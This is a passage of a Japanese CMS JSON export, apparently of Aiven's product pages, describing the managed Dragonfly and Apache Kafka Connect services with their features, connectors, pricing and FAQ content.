アプリケーションで活用することができます。"}],"markDefs":[],"style":"normal"},{"_key":"b777c88ecf24","_type":"block","children":[{"_key":"70b9e85df0d00","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"h2"}],"title":"AIにおける類似検索","variant":"icon-card"},{"_key":"0cd60ba580e7","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"1c166eb2ed79","_type":"block","children":[{"_key":"dc7e3d83c0c80","_type":"span","marks":[],"text":"Dragonflyはパターンマッチング付き Pub/Sub をサポートし、リスト、ソートされたセット、ハッシュなど多種多様なデータ構造を扱えます。これにより、ハイパフォーマンスなチャットルーム、リアルタイムコメントストリーム、ソーシャルメディアフィードを実現します。"}],"markDefs":[],"style":"normal"}],"title":"チャットやメッセージングアプリケーション","variant":"icon-card"}],"rounded":false,"tagline":"お客様の活用事例","title":"Aivenのお客様によるDragonflyの活用方法"},{"_key":"f4e2cb30eaf6","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"features","tagline":"機能紹介","title":"主な機能","variant":"centerColumn"},{"_key":"b2eda0fc84959d13ac1d2c4823d69f7d","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-e53a984b8a968134aab92aa3ae3b427886cd4394-3270x1766-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":true,"rounded":false,"tagline":"セットアップ","text":[{"_key":"201518951a90","_type":"block","children":[{"_key":"69092cf075350","_type":"span","marks":[],"text":"ハイパフォーマンスで高スループットを実現するRedis/Memcached互換のクラスタをわずか10 分で起動・実行"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"97e00670be18","_type":"block","children":[{"_key":"5a230e877540","_type":"span","marks":[],"text":"大容量ストレージ、最大1TBプラン"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"aae3cbe9dacb","_type":"block","children":[{"_key":"6c85d4d4232f","_type":"span","marks":[],"text":"ご希望のクラウドにデプロイ可能 - 3つのパブリッククラウドと70以上リージョンをサポート"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5e5e10772df8","_type":"block","children":[{"_key":"08942a4c5a12","_type":"span","marks":[],"text":"厳しい管理要件に対応した"},{"_key":"b87dbba7f8b8","_type":"span","marks":["2c9378c6656a"],"text":"Bring-your-own-cloud (BYOC)"},{"_key":"7da57fca8cdf","_type":"span","marks":[],"text":"デプロイモデル"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"2c9378c6656a","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"柔軟、迅速、ストレスフリー","variant":"mediaLeft"},{"_key":"94ae0fa9843a3d64142167018853142e","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-3ba37cad097a55af48c21206aee0dc884f5847a9-1553x792-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"tagline":"接続","text":[{"_key":"ee983086f4d7","_type":"block","children":[{"_key":"03a1f851b355","_type":"span","marks":[],"text":"あらかじめ用意されている移行ツールを使用して、既存のRedisワークロードを簡単にAiven for Dragonflyへ移行可能"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7665be3d3110","_type":"block","children":[{"_key":"ff973f00b7fb","_type":"span","marks":[],"text":"Datadog、Prometheus、Jolokia、その他のお気に入りのオブザーバビリティ(可観測性)ツールに"},{"_key":"67f3fa936353","_type":"span","marks":["8de501a733bb"],"text":"統合"},{"_key":"1b41ebb0a14e","_type":"span","marks":[],"text":"したり、"},{"_key":"0967ea253e5f","_type":"span","marks":["e15f660c9bc9"],"text":"Aivenの可観測性ツール"},{"_key":"2fe64cc730c3","_type":"span","marks":[],"text":"を使用して監視とロギングを強化することが可能"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"e15f660c9bc9","_type":"link","href":"https://aiven.io/time-series-databases/monitoring-and-observability"},{"_key":"8de501a733bb","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4__i18n_ja","_type":"reference"}}],"style":"normal"},{"_key":"4247201adb30","_type":"block","children":[{"_key":"02314a018177","_type":"span","marks":["d99cc27b84c6"],"text":"VPC peering"},{"_key":"c0a096f6244b","_type":"span","marks":[],"text":"、"},{"_key":"6d68b163bed0","_type":"span","marks":["4815c5b92a82"],"text":"PrivateLink"},{"_key":"cb4d2c0e9301","_type":"span","marks":[],"text":"または"},{"_key":"ca3355f2f28e","_type":"span","marks":["71d0a9fa93ba"],"text":"TransitGateway"},{"_key":"93f824156d4f","_type":"span","marks":[],"text":"テクノロジーを使用したセキュアなネットワーク接続"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"d99cc27b84c6","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/manage-vpc-peering"},{"_key":"4815c5b92a82","_type":"link","href":"https://docs.aiven.io/docs/tools/cli/service/privatelink"},{"_key":"71d0a9fa93ba","_type":"link","href":"https://help.aiven.io/en/articles/3507710-attach-vpc-to-aws-transit-gateway"}],"style":"normal"}],"title":"データインフラストラクチャとの統合","variant":"mediaRight"},{"_key":"19c8f135482c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-aacdb8a938109a0ba413dcf22782a2ea2e83fb70-1475x890-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"tagline":"管理","text":[{"_key":"ae798280e735","_type":"block","children":[{"_key":"e86bde86b37d","_type":"span","marks":[],"text":"Aiven Console (GUI) 、CLI、または"},{"_key":"59175b40af26","_type":"span","marks":["c2363d90db8a"],"text":"Terraform"},{"_key":"3ea7a30fb4bc","_type":"span","marks":[],"text":"ツールを使用してDragonflyクラスタを管理"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"c2363d90db8a","_type":"link","href":"https://docs.aiven.io/docs/tools/terraform/get-started"}],"style":"normal"},{"_key":"26799b8d7289","_type":"block","children":[{"_key":"72a32f18492a","_type":"span","marks":[],"text":"数クリックでスケール、データベースのフォーク、アップグレードを実行"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"03a8f1156460","_type":"block","children":[{"_key":"e8a4c0e94e83","_type":"span","marks":[],"text":"オープンソースソフトウェアとの互換性を保証"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9aed727dc107","_type":"block","children":[{"_key":"a19388078f67","_type":"span","marks":[],"text":"クラウドやリージョン間での移行が容易"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOpsに適した管理と開発","variant":"mediaLeft"},{"_key":"7bff0ebf3f03cb580d82a70f2160a6ea","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-35f5c5fa11e0f3bb2244c217f2763be92d319c52-1784x1207-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"サービス","text":[{"_key":"124daa711a2b","_type":"block","children":[{"_key":"cce5a1471d20","_type":"span","marks":[],"text":"自己修復プラットフォーム"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f25c930f08f0","_type":"block","children":[{"_key":"54d4ea230fa3","_type":"span","marks":[],"text":"スケーリング、アップグレードなどの管理運用時のダウンタイムゼロ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8d207dc7b3a3","_type":"block","children":[{"_key":"77545daa04cb","_type":"span","marks":[],"text":"プランに応じて12時間ごとに自動バックアップ"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ee6df40fa1f1","_type":"link","href":"https://aiven.io/security-compliance"}],"style":"normal"},{"_key":"63f4a014aab1","_type":"block","children":[{"_key":"476880714e9b","_type":"span","marks":["d0714ca41945"],"text":"安全でコンプライアンス準拠のソリューション"},{"_key":"4eede7e03c16","_type":"span","marks":[],"text":" - ISO 27001:2013、SOC2、GDPR、HIPAA、PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"d0714ca41945","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5__i18n_ja","_type":"reference"}}],"style":"normal"}],"title":"信頼性、安全性","variant":"mediaRight"},{"_key":"f87f714443e0","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-cf42456a998b3003859e724ee166dc968d52fc4a-1440x367-svg","_type":"reference"}},"darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"title":"今すぐ最初のデータ基盤を立ち上げましょう","variant":"centerColumn"},{"_key":"1705d247f2aec3897e833f4f8da85ffa","_type":"pricing","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","defaultCloud":"Google Cloud","disabled":false,"fullWidth":false,"id":"pricing","noSpaceBottom":false,"noSpaceTop":false,"service":{"_ref":"15ecb747-c8c1-42ad-baab-e7551844a508","_type":"reference"},"subtitle":[{"_key":"e632bde2c5ea","_type":"block","children":[{"_key":"375ad97dabd7","_type":"span","marks":[],"text":"月額65ドルからスタートし、価格は、ノード数とストレージおよびスループット要件に応じて変わります。時間単位の課金により、コストを削減できます。プランの変更は、追加料金なしでいつでも可能です。"}],"markDefs":[],"style":"normal"}],"tagline":"価格プラン","title":"スケールアップ、スケールダウン - 利用した分だけ課金","variant":"single-service"},{"_key":"1506e2957639","_type":"accordion","disabled":false,"fullWidth":true,"id":"faq","isFaqAccordion":true,"items":[{"_key":"39e5c9771dac","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3__i18n_ja","_type":"reference"},{"_key":"68ca8879d46d","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec__i18n_ja","_type":"reference"},{"_key":"95fea534c942","_type":"accordionItem","id":"choose-dragonfly-or-redis","panelText":[{"_key":"468ae419eadc","_type":"block","children":[{"_key":"1c0552fb9d350","_type":"span","marks":[],"text":"超高速のパフォーマンスとスケーラビリティが求められる場合で、ストレージ容量が100GB以上、スループットが70,000 QPSを超えるような高負荷なワークロードを処理するのであれば、Aiven for Dragonfly が最適な選択です。"}],"markDefs":[],"style":"normal"},{"_key":"9bb1f82e6d38","_type":"block","children":[{"_key":"60909a824cd3","_type":"span","marks":[],"text":"コストパフォーマンスとシンプルさを重視する軽負荷なワークロードの場合、Aiven for Redis はオープンソースの Redis をベースにした堅牢で手頃な選択肢です。後で切り替えることを決めた場合にも、簡単な移行ツールを提供しています。"}],"markDefs":[],"style":"normal"}],"title":"Aiven for DragonflyとAiven for Redisのどちらを選ぶべきか?"}],"title":"よくある質問"}],"seo":{"_type":"metaData","metaDescription":"Redis ワークロードの効率的なスケーリング - 最大 1TB+ のメモリ、50 万 OPS/秒、サブミリ秒レイテンシ","metaImage":{"_type":"mainImage","asset":{"_ref":"image-9303052381119742c53b15661212e7970990f304-2500x1312-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for Dragonfly\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"Highly scalable and high throughput Redis, Dragonfly as a Service\",\n \"description\": \"Aiven for Dragonflyは、スケーラブルで高スループットのRedisおよびMemcached互換インメモリデータベースです。高可用性のための永続化とレプリケーション、JSONドキュメントやベクトル検索などの高度なRedis機能をサポートしています。\",\n \"featureList\": \"Terraformサポート、Datadog統合、Aivenサービスログ統合、Aivenメトリクス統合、VPCピアリング、REST API、コマンドラインツール、高可用性、Google Cloud Platformで利用可能、Amazon Web Servicesで利用可能、Microsoft Azureで利用可能、DigitalOceanで利用可能\",\n \"softwareHelp\": {\n \"url\": \"https://aiven.io/docs/products/dragonfly\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"オープンソースインメモリNoSQLデータベース\",\n \"applicationSubCategory\": \"メモリキャッシュ、Memcached互換インメモリデータベース、メッセージブローカー、非リレーショナルデータベース\"\n}","metaTitle":"Redisのコスト効率的なスケーリング | Aiven for Dragonfly"},"service":{"_ref":"15ecb747-c8c1-42ad-baab-e7551844a508","_type":"reference"},"slug":{"_type":"slug","current":"/dragonfly"},"title":"Dragonfly"} {"__i18n_base":{"_ref":"10d7ccd9-cd4c-49ce-a2ea-b2a6fda2c784","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2022-09-25T09:58:55Z","_id":"10d7ccd9-cd4c-49ce-a2ea-b2a6fda2c784__i18n_ja","_rev":"L3boCkkiM9On4ApfxNkBvX","_type":"product","_updatedAt":"2024-03-12T05:11:38Z","content":[{"_key":"6b8133690b0a","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for Apache Kafka® Connect","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de__i18n_ja","_type":"reference"},"title":"Aivenプラットフォーム"}},"description":[{"_key":"c2df600f8615","_type":"block","children":[{"_key":"ab0e6d29fe340","_type":"span","marks":[],"text":"マネージドのAiven for Apache Kafka Connectは、統合のワークロードをApache Kafkaクラスタから分離することで、より安定した、スケーラブルでパフォーマンスの高いデータフローを実現することができます。"}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"hostProviders":[{"_key":"adf44e41842d","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"e57e2d573bda","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"64afe16fd0c2","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"70bf5b20c39d","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"52cf963ec729","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"}],"image":{"_type":"mainImage","asset":{"_ref":"image-8739a2081c603657773ab665488a591f83164d28-1600x1137-png","_type":"reference"}},"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/kafka/kafka-connect","title":"ドキュメントを見る"},"tagline":"マネージド&ホスティング","title":"Aiven for Apache Kafka® Connect","variant":"default"},{"_key":"250a85c0996b","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"ac514415c565","_type":"scrollSpyNavItem","sectionId":"works","title":"機能"},{"_key":"9e1ccda38e47","_type":"scrollSpyNavItem","sectionId":"connectors","title":"コネクタ"},{"_key":"cc41b8c9261d","_type":"scrollSpyNavItem","sectionId":"pricing","title":"価格"},{"_key":"7221bb930154","_type":"scrollSpyNavItem","sectionId":"toolbox","title":"Kafkaツールボックス"},{"_key":"1345b1d01917","_type":"scrollSpyNavItem","sectionId":"resources","title":"リソース"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-685613765c01f84c2db04678b0d4629ede9947ad-64x64-svg","_type":"reference"}},"logoLink":{"_type":"link","internalLink":{"_ref":"10d7ccd9-cd4c-49ce-a2ea-b2a6fda2c784__i18n_ja","_type":"reference"},"title":"Aiven for Apache Kafka® Connect"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"title":"Scrollspy"},{"_key":"30a4491b2dcb","_type":"serviceDiagram","disabled":false,"fullWidth":false,"id":"works","rounded":false,"steps":[{"_key":"55a9b28ef757","_type":"textItem","content":[{"_key":"eed57511ba1c","_type":"block","children":[{"_key":"4aec9c504cfb0","_type":"span","marks":[],"text":"Aiven for Apache Kafka Connectで既存のデータソースを統合"}],"markDefs":[],"style":"h3"},{"_key":"ef9772cb3f55","_type":"block","children":[{"_key":"17e1e38c1753","_type":"span","marks":[],"text":"フルマネージドの分散Apache Kafkaコンポーネントで30以上のマネージドコネクタを使用して、既存のデータソースを簡単かつ効率的に統合できます。"}],"markDefs":[],"style":"normal"},{"_key":"73c3c0fa9d61","_type":"block","children":[{"_key":"a26368563d410","_type":"span","marks":["strong"],"text":"リソース:"}],"markDefs":[],"style":"normal"},{"_key":"b57a733d0460","_type":"block","children":[{"_key":"7a4118b7d75e0","_type":"span","marks":["b26395e6405b"],"text":"Aiven for Apache Kafka Connect入門(ドキュメント)"}],"markDefs":[{"_key":"b26395e6405b","_type":"link","href":"https://aiven.io/docs/products/kafka/kafka-connect/get-started"}],"style":"normal"},{"_key":"b0015d3f6a45","_type":"block","children":[{"_key":"7a4118b7d75e2","_type":"span","marks":["291f6d217637"],"text":"利用可能なコネクタの一覧(ドキュメント)"}],"markDefs":[{"_key":"291f6d217637","_type":"link","href":"https://aiven.io/docs/products/kafka/kafka-connect"}],"style":"normal"},{"_key":"d5505e054899","_type":"block","children":[{"_key":"47114462fec70","_type":"span","marks":["8a873c4bd7fa"],"text":"Karapaceとは(ブログ)"}],"markDefs":[{"_key":"8a873c4bd7fa","_type":"internalLink","internalLink":{"_ref":"4kZePZcGxjPJAFk0KUyhp2","_type":"reference"}}],"style":"normal"},{"_key":"7a401e051a81","_type":"block","children":[{"_key":"c4bcd7ad83b30","_type":"span","marks":["b8fc6c4c86a6"],"text":"Aivenサービス向けのすべての統合(Webページ)"}],"markDefs":[{"_key":"b8fc6c4c86a6","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4__i18n_ja","_type":"reference"}}],"style":"normal"}]}],"subtitle":[{"_key":"d37387505b90","_type":"block","children":[{"_key":"44f99037f9d40","_type":"span","marks":[],"text":"フルマネージドのKafka Connectクラスタを使い、Webコンソールから直接、またはAPI、CLI、Terraformプロバイダー、Kubernetesオペレータを使用したプログラムで、Aiven for Apache Kafkaをわずか2分で拡張します。"}],"markDefs":[],"style":"normal"}],"tagline":"機能","title":"Aiven for Apache Kafka® Connectでできること","variant":"kafka-connect"},{"_key":"6ab18143f52e","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"id":"connectors","items":[{"_key":"6743046e587f","_type":"cardItem","borderTopColor":{"_ref":"21e657b8-5980-4a85-87f8-595301495bef","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-27995708e6bffa0de4a88052aaa889f48495c396-58x58-svg","_type":"reference"}},"title":"Debezium source connector for PostgreSQL","variant":"icon-card"},{"_key":"2450150d1649","_type":"cardItem","borderTopColor":{"_ref":"37baf5a8-eb1c-419f-a157-dc0d3a3f1a03","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/mongodb-poll-source-connector","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-fe1569bcba10665f27187fe097ce332ff31e42a2-65x64-svg","_type":"reference"}},"title":"MongoDB source connector","variant":"icon-card"},{"_key":"04c74c6f0604d844c4ab12bc27729561","_type":"cardItem","borderTopColor":{"_ref":"42d6ef84-a6de-43a3-95de-e1610f065ed0","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/jdbc-source-connector-pg","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-b5cd9b82ffa9183732b96bf095fabc3edc7e7bc3-48x48-svg","_type":"reference"}},"title":"JDBC source connector","variant":"icon-card"},{"_key":"f008d4d24991fe9945c02dedb1753ba7","_type":"cardItem","borderTopColor":{"_ref":"6c9703f3-6248-4f27-8400-291d66a3cc5e","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/cassandra-streamreactor-source","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-9b28317a07c8fcaf77ac447ab60252e031bdeae6-64x64-svg","_type":"reference"}},"title":"Cassandra source connector","variant":"icon-card"}],"rounded":false,"subtitle":[{"_key":"11d2cece7a38","_type":"block","children":[{"_key":"4005be09fa710","_type":"span","marks":[],"text":"Aivenのドキュメントを参照すれば、コネクタの設定も簡単に行うことができます。"},{"_key":"419a4bc8d357","_type":"span","marks":["e38a690fa9ff"],"text":"Aiven for Apache Kafka® Connectコネクタの全リストをご覧ください。"}],"markDefs":[{"_key":"e38a690fa9ff","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins"}],"style":"normal"},{"_key":"b9fa70a5964f","_type":"block","children":[{"_key":"48075c61f0030","_type":"span","marks":[],"text":"ソースコネクタ"}],"markDefs":[],"style":"h3"},{"_key":"cb8adb72780f","_type":"block","children":[{"_key":"6bd3db0751340","_type":"span","marks":[],"text":"データベースやメッセージングシステムからデータを取得します。"}],"markDefs":[],"style":"normal"}],"title":"30以上のマネージドコネクタでデータソースとの接続が可能"},{"_key":"933dce0b4a0ff1172679870c65709f3f","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"items":[{"_key":"6743046e587f","_type":"cardItem","borderTopColor":{"_ref":"15d1a407-85a4-498f-af4e-bcfcb2693707","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/opensearch-sink","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-24f8bc050ae61d964c383f4509c62c6cb865d6ef-64x64-svg","_type":"reference"}},"title":"OpenSearch sink connector","variant":"icon-card"},{"_key":"2450150d1649","_type":"cardItem","borderTopColor":{"_ref":"702fd555-d5be-4c9a-907b-4a9e8e5f4a89","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/s3-sink-connector-confluent","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-eb38710ac4196b58734ae1cca36ab78d39b7aa16-58x58-svg","_type":"reference"}},"title":"Amazon S3 sink connector","variant":"icon-card"},{"_key":"04c74c6f0604d844c4ab12bc27729561","_type":"cardItem","borderTopColor":{"_ref":"15d1a407-85a4-498f-af4e-bcfcb2693707","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/snowflake-sink","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-d976eb7042070bfa6e3927a017ea04215c36b1e3-48x48-svg","_type":"reference"}},"title":"Snowflake sink connector","variant":"icon-card"},{"_key":"f008d4d24991fe9945c02dedb1753ba7","_type":"cardItem","borderTopColor":{"_ref":"6c9703f3-6248-4f27-8400-291d66a3cc5e","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/gcp-bigquery-sink","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-71ab0a34ea1f6bba1f83d889e476b63ed34b61f4-48x48-svg","_type":"reference"}},"title":"BigQuery sink connector","variant":"icon-card"}],"noSpaceTop":true,"rounded":false,"subtitle":[{"_key":"4b58d805e4cf","_type":"block","children":[{"_key":"7bd63145af800","_type":"span","marks":[],"text":"シンクコネクタ"}],"markDefs":[],"style":"h3"},{"_key":"cb8adb72780f","_type":"block","children":[{"_key":"6bd3db0751340","_type":"span","marks":[],"text":"データをデータベース、メッセージングシステム、データウェアハウス、オブジェクトストレージに送信します。"}],"markDefs":[],"style":"normal"}]},{"_key":"eb8e9fecb3f7","_type":"textImage","addSpaceBottom":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-167313944ca1feee8e8430eccc2f67aba2f00862-1264x351-png","_type":"reference"}},"backgroundPosition":"center center","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-480e4714ce54963150ab20447d3e70e871a92a7d-530x281-png","_type":"reference"}},"rounded":true,"secondaryCTA":{"_type":"link","internalLink":{"_ref":"1td7K8mcJVhl60ZTT80SIr","_type":"reference"},"title":"ブログを読む"},"text":[{"_key":"842603ac9dac","_type":"block","children":[{"_key":"abff2c16e6420","_type":"span","marks":[],"text":"必要なコネクタがリストにない場合は、いつでもセルフマネージドのApache Kafka Connectクラスターを作成して、Aiven for Apache Kafkaに接続できます。"}],"markDefs":[],"style":"normal"}],"title":"Aiven for Apache Kafka®で独自のコネクタを利用","variant":"mediaRight"},{"_key":"335aac69fec0","_type":"cardList","addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"pricing","items":[{"_key":"27badc4b4700","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/ja/pricing?product=kafka_connect","title":"プランを表示する"},"subtitle":[{"_key":"920617ea50ee","_type":"block","children":[{"_key":"e0d4db28ec890","_type":"span","marks":[],"text":"月額126ドルからスタートし、価格はブローカーの数やストレージ要件に応じて変化します。時間単位での課金により、コストを削減できます。プランの変更は、追加料金なしでいつでも可能です。"}],"markDefs":[],"style":"normal"}],"title":"プランの比較","variant":"default"}],"rounded":false,"subtitle":[{"_key":"ee0d221255bb","_type":"block","children":[{"_key":"5df5b65478c90","_type":"span","marks":[],"text":"ネットワークトラフィックが集中しても、上り(内向き/ Ingress)または下り(外向き/ Egress)の追加コストは不要です。ネットワーク料金の請求に悩まされることはなくなります。コネクタのデプロイに制限はありません。クラスターのセットアップが唯一の制限となりますが、いつでも自由に増やしたり減らしたりできます。"}],"markDefs":[],"style":"normal"}],"tagline":"価格プラン","title":"価格"},{"_key":"441a98f7dc30","_type":"textColumn","addSpaceBottom":true,"backgroundColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"rounded":false,"title":"今すぐオンラインで最初のデータ基盤を立ち上げましょう","variant":"centerColumn"},{"_key":"cc7e7eb7b131","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"id":"toolbox","items":[{"_key":"c6ccc09ad658","_type":"cardItem","borderTopColor":{"_ref":"680fccb8-9369-4d66-b572-be171d992946","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/kafka-mirrormaker/getting-started","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-4b2aa595510520d455581c85f9f96e2cba83a3cd-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"af8a3b470e4f","_type":"block","children":[{"_key":"af97cf8bad7f0","_type":"span","marks":[],"text":"Apache Kafkaクラスター間でデータを複製します。"}],"markDefs":[],"style":"normal"}],"title":"Aiven for Apache® MirrorMaker 2","variant":"icon-card"},{"_key":"bd48c0f22303","_type":"cardItem","borderTopColor":{"_ref":"21e657b8-5980-4a85-87f8-595301495bef","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/howto/enable-karapace","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-d318221bd7c9549b4d2dcde4c55457d9b5c6119b-56x56-svg","_type":"reference"}},"subtitle":[{"_key":"b547ab67f52a","_type":"block","children":[{"_key":"a7ffc592e7d50","_type":"span","marks":[],"text":"Apache Kafkaにスキーマ管理とREST APIインターフェースを追加します。"}],"markDefs":[],"style":"normal"}],"title":"Karapace","variant":"icon-card"},{"_key":"22e4c31dbe4f2102f37abcae5dba4816","_type":"cardItem","borderTopColor":{"_ref":"21e657b8-5980-4a85-87f8-595301495bef","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/howto/list-tools","title":"ツールの全リストを確認する"},"image":{"_type":"mainImage","asset":{"_ref":"image-6dbcbb73d0acbd7ab23f85df1850d2714d8bf28b-56x56-svg","_type":"reference"}},"subtitle":[{"_key":"3c38ea6afa4e","_type":"block","children":[{"_key":"6a4985f9470b","_type":"span","marks":[],"text":"Apache Kafkaをセットアップするにあたり、広範囲な役に立つテクノロジーとツールの中から選ぶことができます。Apache Kafkaトピックのデータガバナンスには"},{"_key":"de26ca48976c","_type":"span","marks":["5df6f87ed31c"],"text":"Klaw"},{"_key":"c03bccf2e8ff","_type":"span","marks":[],"text":" 、Apache 